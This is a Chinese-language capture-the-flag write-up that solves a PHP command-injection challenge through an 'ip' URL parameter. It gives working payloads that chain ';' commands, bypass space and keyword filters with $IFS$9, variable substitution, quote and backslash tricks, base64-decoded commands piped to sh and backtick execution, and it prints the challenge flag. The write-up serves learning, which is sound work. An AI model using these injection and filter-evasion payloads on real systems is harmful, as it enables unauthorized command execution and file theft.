一、解题思路
打开后是这样一个界面:
在 URL 中注入一些东西看看执行效果
用 ls 命令查看所有文件
输入 flag.php 结果显示 fxck your flag 可能是 flag 被过滤掉了
既然 flag.php 看不了那就试试 index.php
cat 的作用:从标准输入读取读取内容并显示
发现 index.php 也没什么效果,那有可能是 空格 被过滤了,用 IFS 代替(IFS是系统命令空格的意思),前后面加$
是为了固定这个语句,不然和其他字符串行会出错,后面的$1
是空字符,也可以写成${IFS}
或${IFS}$9
之类的。
不出所料,过滤掉了很多东西,这里{}被过滤了,所以{IFS}这个不行。
过滤掉的字符(串):
& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"
所以对于 flag.php 不能直接用 cat,既然 flag 被过滤了,可以尝试用变量来代替 flag
?ip=0.0.0.1;a=g;cat$IFS$1fla$a.php
用变量来替换 g 可以成功获取 flag
(a = g 的 a 前面不能加 $ 符号)
下面这几条均无法得出 flag
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
所以 flag :
flag{cd4b541a-3c47-4e7e-bd89-957de1ba4b9f}
二、其他解题方法
①、将 cat flag.php 进行base64 编码后:Y2F0IGZsYWcucGhw
base64$IFS$1-d就是 base64 -d,其中的 -d 就是解码的意思
(注意:sh 是 linux 中运行 shell 的命令,bash 相当于 sh 的升级版,但是 bash 被过滤掉了)
完整的就是这样:
echo Y2F0IGZsYWcucGhw|base64 -d|sh
但是空格被过滤,因此把空格换成 $IFS$9
echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
②、内联执行
反引号 : ``
cat$IFS$9`ls`
注:内联,就是将反引号内命令的输出作为输入执行。
直接把 flag.php 和 index.php 都输出了
三、收获
a、linux下绕过空格技巧
${IFS}
$IFS$9
b、被过滤的字符串可以尝试使用 base64 编码完成后再进行解码,从而绕过特殊字符串的过滤
c、了解了内联执行的强大
d、
1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
四、关键字过滤
方法一:特殊变量
$@ 、$* 、$x (x 表示 1- 9)、${x} (x >= 10)
(在没有传递参数的情况下,上面的特殊变量都为空)
例如:
c${20}at flag.php 等价于 cat flag.php
方法二:反斜杠
例如代码过滤掉 a
c\at flag.php
方法三:变量替换
a=g;cat fla$a.php
方法四:引号
ca't' flag.php
方法五:编码绕过
例如前面的
echo Y2F0IGZsYWcucGhw|base64 -d|sh